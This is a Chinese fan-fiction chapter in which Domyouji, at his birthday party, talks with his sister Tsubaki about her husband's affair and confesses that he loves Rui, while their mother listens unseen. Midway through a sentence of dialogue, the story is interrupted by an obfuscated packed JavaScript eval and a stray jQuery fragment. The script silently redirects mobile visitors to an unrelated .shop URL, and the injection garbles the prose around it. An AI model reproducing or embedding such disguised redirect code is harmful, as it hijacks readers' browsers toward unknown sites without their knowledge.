事情的起因,是道明寺在他的二十二岁生日晚宴上的一时失言。
驾轻就熟地穿梭在人群中,最后在一个不起眼的角落里找到了自己的弟弟,道明寺椿露出副‘我理解你’的表情,把还剩下一半酒液的高脚杯往铺着纯白四角桌布制工精细的水晶桌上一放,落落大方地捻起裙袍一角,在他对面那张圆椅上,优雅地坐了下来。
“干嘛啊。”即使对象是姐姐,道明寺也依然没给什么好态度,脸色臭得跟刚从厕所里捞出来一样,不耐烦地瞪了她一眼:“要放松自己找地方,别跟我抢位置。”
道明寺椿不以为意地笑笑,以平淡的语调威胁道:“别以为这是你的生日party我就不敢揍你了,你再出言不逊的话,信不信我马上让你顶着熊猫眼出去?”
道明寺连眼帘都不屑掀,也不知有没有把她的话当真:“……切,懒得理你。”
到底是没再出口赶人。
擅自加入的道明寺椿哼了一声,见好就收地没往下接:“不就是没让你时限一到就回日本,至不至于发这么大火啊。等多一个月的时间,有那么难熬吗?”
道明寺从牙缝里挤出凉飕飕的话语来:“为了会场的完整性着想,我劝你别再提那事。”
“ok,不提就不提。”想到他在怒火上涌的情况下,确实什么都做得出来的破坏性人格,道明寺椿明智地举手投降,“请柬可是切切实实地有给你那三位老朋友派送的啊,是他们自己选择不来,这个别赖到我头上。”
对此心知肚明的道明寺,眼底的阴鸷顿时变得更深了。
他从鼻子里喷出一口起来,懒懒地往后一仰,如猎豹般矫健的身躯转瞬便落入软软的靠垫上。
然而,感官上传递的舒适感受却半点没给心情带来良性影响,仍旧恶劣无比。
“心情那么糟干嘛,今晚的主角可是你。致辞一完就溜掉,妈妈被你气得不行呢。”道明寺椿劝了劝,抿了口酒,又说:“她要把你介绍给其他人,你跑得太快了。”
道明寺傲慢的腔调里透出的是强大的自信:“我不需要她那些人脉,也能做得很好。”
“知道,知道。”她没好气地说着,长腿一撑一伸:“本来还以为经过这四年的勤奋学习,你的脾气会跟脑袋里的东西一样有所长进,没想到还变得更糟了。”
“不要你管。你不是对那老太婆也很有意见的吗?就别来多此一举地劝我跟她母子情深了。”道明寺随口道:“你来找我有什么事吗?”
“我就不能没事找我可爱的弟弟聊天吗?”
“哦,聊什么。聊你老公前天在旧金山的一间无牌酒吧里跟一个好莱坞女星幽会,还被媒体记者逮了个正着的事?”
“臭小子!”被戳到痛处的道明寺椿终究是没忍住,一拳轰了过去:“别跟我提他!”
她在发现他的外遇时,不光是感到极度的失望又气愤,还觉得倍受侮辱——曾经,她无比相信这份以两大企业互惠互利的联姻作为开端的婚事里,是存在真挚爱情的。孰料,残酷的现实却给了沉浸在美好的童话世界里的她一记响亮的耳光。
道明寺只消偏偏头,就利落地躲过,说:“我提不是为了让你不痛快,是不想你再忍耐下去,以后更不挺快。”
道明寺椿挑眉:“你的意思?”
道明寺:“不想忍,就离婚。你名下的产业完全能让你过得很好,妈妈反对的话,我帮你顶住。”
他说得认真,道明寺椿心里一软,本有些羞恼的神情也渐渐缓和了下来。
“你不懂的,我跟他结婚六年多,怎么可能说分就分。”她烦躁地拨拨额发:“牵扯到的事情太多了……”
“哪里来那么多借口,不过是不想去做罢了。”道明寺不屑地冷笑:“当初那个风风火火,连私奔都做得出来的姐姐,早就在漫长的婚姻生活里被磨平了锐气和棱角吗?竟然连基本的血性都没有了,真令我看不起。”
“别拿你进步了的日文水平来对付我!”道明寺椿恼羞成怒地开始地咕噜咕噜灌自己酒,末了把空荡荡的杯子倒扣在桌上,状似全神贯注盯住那片被晕染开了的污色不放:“翻旧历是没意义的,我已经过了年少轻狂的年纪了。”
她难掩惆怅地叹了口气,颊上微醺,素来矜傲的美丽容颜是说不清的落寞:“我需要时间,慢慢地,一个人想明白。”
“你要原谅他?”
她摇头,“大概不会吧,我也不知道。”下意识地捂了捂阵阵抽痛的胸口,苦笑:“唯一能确定的,大概就是这颗不争气的心还会为他而痛。”
道明寺平静地凝视着为情所伤的姐姐,半晌没有说话。
倒是罕有地文艺了一把的她,颇觉不好意思地打破了这僵局:“说这些你也不懂,你不是暂时还没喜欢的人吗?上次妈妈把小滋介绍给你相亲,听说那也是个性格爽朗不娇柔做作身材又好的大小姐,跟你算得上般配。你倒好,不仅避若蛇蝎,还恶语相向,弄得她一听到你的名字就皱眉头。”
道明寺冷哼,原本敛起周身萦绕的锐气和不羁,工整地穿着一身昂贵的定制西装的他忍无可忍地爆了句粗:“放屁,她看我不顺眼是因为她看上了
别人,天天跟只发情期的母猫一样追在他身后碍眼。”
被他突如其来的火气给吓了一跳,道明寺椿皱着眉,反射性地就训道:“喂喂喂,对女孩子不要那么脏话连篇的,太没风度了!”
道明寺:“她那是女人吗?她是女人的话,我就给她起码的尊重,但我眼里看到的,只是一只不知教养为何物的母猴,现在还退化成母猫了。”
连身在纽约的他,都能时不时地看到她纠缠类的绯闻,大喇喇地毫不避讳媒体的视线,真是面目可憎。
要不是分身乏术,家里管教又严格得很,他铁定要冲上门去给她呼啦几记铁拳,揍成一个鼻青脸肿的猪头,才不管她是公是母是圆是扁。
道明寺椿蹙眉,十指相互交叉着:“算了,年轻人的事我不管,但当初语言不通的你都非坚持要留纽约的原因,不是为了她吗?”
她对阿司真命天女的存在略微好奇了一下,着手进行小小的调查,得到一个惊人的消息——大河原滋也在纽约,且在找一个‘形式粗鲁直接,外貌英俊的日本男性’。
这不是指阿司是指谁?
倒是不晓得,他们还存在着这么一段欢喜冤家式的孽缘。
道明寺夸张地咧嘴笑,满是讥讽:“啊哈?开什么玩笑,我当时连她是哪根葱都不知道,怎么可能是为了她。”
“你不承认就不承认吧。”心力交瘁的道明寺椿也没心思去详细解读少男的别扭,一挥手,说:“感情的事情很难说通,唯有当事人才能体会到个中滋味。等你遇到了喜欢的人,就会明白那种即便再痛苦,手心被荆棘刺破,割得鲜血横流,也不舍得放手的执念了。”
“一想到会永远见不到他,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13554296|142631||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
街上在宴会上擦肩而过,也会变成世界上最熟悉的陌生人……”
“早上起来,身边将是空荡荡的;餐桌上见不到他的笑容,也得不到他的早安吻;不会有人浪漫地为你准备生日和情人节礼物;有他在的家,不是一个空荡荡得只有佣人和灯火的大屋子,而是一个温暖的归处;哪怕全世界与我为敌,我也将确定,他会站我身后,当我永远的后盾。”
“阿嚏!”道明寺煞风景地打了个大大的喷嚏,抱怨道:“姐你好恶心,我牙齿都快被酸掉了。”
刚才还沉浸在伤感中的道明寺椿暗自憋气地磨着牙,紧攥成拳的手背青筋鼓起,终于按捺不住心下最真实的冲动,哐当一下往那头卷毛上砸去。
“以往你每次出手打人,不是太过手痒,就是突然感到不好意思。现在我发现,原来还有一种可能性是心虚。”
道明寺轻轻松松地用手心抵住了她拳身的去势,强硬地握着,一字一顿地说:“你在犹豫什么?不想要了,就干脆利落地扔掉;想留住,就拼尽一切地去争取回来,去问个清楚,别一个劲地独自钻牛角尖。你怀疑任何人都可以,但绝对不能怀疑自己的心里的声音。”
道明寺椿不自在地别过头:“你这个连恋爱都没谈过的小屁孩根本就——”
“我明白你无法割舍的感受,因为我也有这样一个想要用一辈子的时间去好好珍惜的人。”
抛下这么句惊天动地的宣言,道明寺沙着磁性十足的嗓音说着,日益成熟的英俊面庞神采飞扬,剑眉星目,深邃黑眸里隐约流露的深情满溢,足让世上的每一个拥有柔软心肠的女人为之动容。
“啊?你是认真的?!”道明寺椿差点惊掉下巴,急不可耐地欺身追问道:“是谁?”
道明寺耸耸肩,恢复了气定神闲的姿态:“暂时不想告诉你。”
道明寺椿:“……”
真想宰了这个越来越往秘密主义发展的混小子。
“唉,”她明白自己想要撬开弟弟的嘴的难度,和几年前完全不能比,索性无奈地放弃,只絮絮叨叨地说:“我还想,你的对象会不会是类那种——”
“你说什么?”
骤然打断了她未竟的话,道明寺目光炯炯地盯着她,一瞬不瞬。
“……我说,类那种性格的人肯定比较适合你。”道明寺椿莫名其妙地睨了额外显得热切的他一眼,没有多想,径直往下说:“他比较沉稳,又温柔地能包容你的任性,大河原家的千金与你的太过接近,倒是容易产生冲突和频繁摩擦。”
“姐,你很有眼光嘛!”
道明寺那张英气十足的帅脸突然绽放出了个灿烂到炫目的笑容,主动握住了姐姐的手:“有你这句话,我就放心了!”
被夸得起了鸡皮疙瘩的道明寺椿:“……”
她说什么了她。
“我说的那个人,就是类啊。”
道明寺大大咧咧地抛下了一枚核弹。
“吓——!!!”
道明寺椿骇然地倒吸一口凉气,猛地抬起头来,定定地看向满脸认真的他,一动不动。
三秒。
三秒。
又三秒。
“你是说真的吗?”
穿着华丽鱼尾裙,风韵犹存的道明寺家的小半个掌舵人,道明寺枫也不知站在视线死角处听了多久,形状与道明寺的如出一辙的瞳眸里充斥着肃杀冷凝,还有彻骨的愤怒。